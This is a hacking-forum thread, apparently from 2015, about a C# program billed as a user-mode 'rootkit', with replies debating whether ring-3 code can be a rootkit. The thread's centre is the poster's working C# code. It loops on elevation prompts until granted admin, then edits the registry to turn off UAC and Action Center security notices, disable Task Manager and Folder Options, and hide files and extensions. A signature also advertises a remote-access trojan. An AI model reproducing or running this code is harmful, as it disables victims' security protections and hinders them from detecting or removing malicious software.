Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

C# Rootkit

Where is the kernel mode driver? Win32 ui? I think not
[Image: dogKyRg.gif]

(Dec 7, 2015 04:28 PM)true Wrote:  Couldn't you make one if it was a ring 3 rootkit?(Not familiar with rootkit's, just curious)

Ring3 is not a rootkit.
Lotta blood to let, peace to make, give a fuk about a check
(Dec 7, 2015 04:59 PM)BahNahNah Wrote:  Ring3 is not a rootkit.

It said it was here, though?
> Rootkit
> C#
> u w0t?
https://hackforums.net/showthread.php?tid=6333106

Cheap Telegram RAT written in Rust
(Dec 7, 2015 11:24 AM)N3Cr0M0rPh Wrote:  It requests for admin...

except that is not UAC bypass man...
Just close this topic please...
Ring3 is a rootkit man...
(Dec 8, 2015 02:48 AM)biscuit deluxe Wrote:  Ring3 is a rootkit man...

Ring3 is not a rootkit bro, Ring3 is where user mode applications run, but that doesn't mean "Ring3" is a rootkit.
(Dec 8, 2015 02:50 AM)excr4sh Wrote:  Ring3 is not a rootkit bro, Ring3 is where user mode applications run, but that doesn't mean "Ring3" is a rootkit.

Yes I know. I was mocking someone if you didn't notice. By the way ring3 is not a location, it's a mode or level of privilege.
Oh and yes, it's possible to code a Ring3 Rootkit in C#. Rootkits don't necessarily need to hook a function or inject its code, they could be implemented as a DLL, which use the callback functions that the operating system provides to change the behavior of the applications, of course, they are very limited and not as useful as a native one.
I guess it's not impossible to hook NtQuerySystemInfo and so on in order to get a full working rootkit in c# ..
I updated it:
Code
public static bool IsAdministrator()
        {
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
        public static bool LaunchAsAdmin()
        {
            string fileName = Assembly.GetExecutingAssembly().Location;
            ProcessStartInfo processInfo = new ProcessStartInfo();
            processInfo.Verb = "runas";
            processInfo.FileName = fileName;

            try
            {
                Process.Start(processInfo);
            }
            catch (Win32Exception)
            {
                return false;
            }
            return true;
        }
        static byte[] GetBytes(string str)
        {
            byte[] bytes = new byte[str.Length * sizeof(char)];
            System.Buffer.BlockCopy(str.ToCharArray(), 0, bytes, 0, bytes.Length);
            return bytes;
        }
        public static bool ByPassUAC()
        {
            if (IsAdministrator())
            {
                try {
                    //disable UAC
                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 0);

                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "ConsentPromptBehaviorAdmin", 0);

                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "PromptOnSecureDesktop", 0);

                    Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", "CheckSetting", GetBytes("23004100430042006C006F00620000000000000000000000010000000000000000000000"), RegistryValueKind.Binary);

                    //Disable view hidden files all across the board
                    RegistryKey ShowSuperHidden = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
                    ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
                    ShowSuperHidden.Close();
                    RegistryKey HideFileExt = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
                    HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
                    HideFileExt.Close();
                    RegistryKey HideDrivesWithNoMedia = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
                    HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1, RegistryValueKind.DWord);
                    HideDrivesWithNoMedia.Close();
                    //Disable Folder Options
                    RegistryKey NoFolderOptions = Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);
                    NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
                    NoFolderOptions.Close();

                    //Disable Task manager
                    RegistryKey DisableTaskMgr = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
                    DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
                    DisableTaskMgr.Close();
                } catch
                {

                }
                return true;
            }
            bool Ran = false;
            while (Ran != true)
            {
                Ran = LaunchAsAdmin();
            }
            Environment.Exit(0);
            return true;
        }
This "ring3 rootkit" is false advertising.

It does not bypass UAC, it turns off UAC, and for that you need UAC. This is shit, lest someone runs it as admin. Still, not a rootkit.
(Dec 7, 2015 02:20 PM)BahNahNah Wrote:  This is not a rootkit.
You cant make rootkits in .Net.
Well this is not entirely true.

However, the code OP posted can't be considered a rootkit.
His so called "UAC Bypass" is a simple disabling of the UAC by registry which requires administrative privileges and a reboot of the system if I remember that correctly.
Furthermore his code doesn't really "hide" a registry key, it just sets the superhidden attribute.
@OP : To code a rootkit I suggest to switch to a native language such as C or ASM.
Even tho it can be achieved with C# I wouldn't recommend using that language for such a purpouse.
[C#/C++/Asm Coder]
Reverse Engineering / .Net security
Thanks for sharing. Anyone can help me to find "presentation thread"? Or rules about post for noobs?
Greetings.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by w3w3w3Aug 3, 2021 12:38 PM 1 328 Aug 3, 2021 12:38 PM
Last Post: SIM-5058597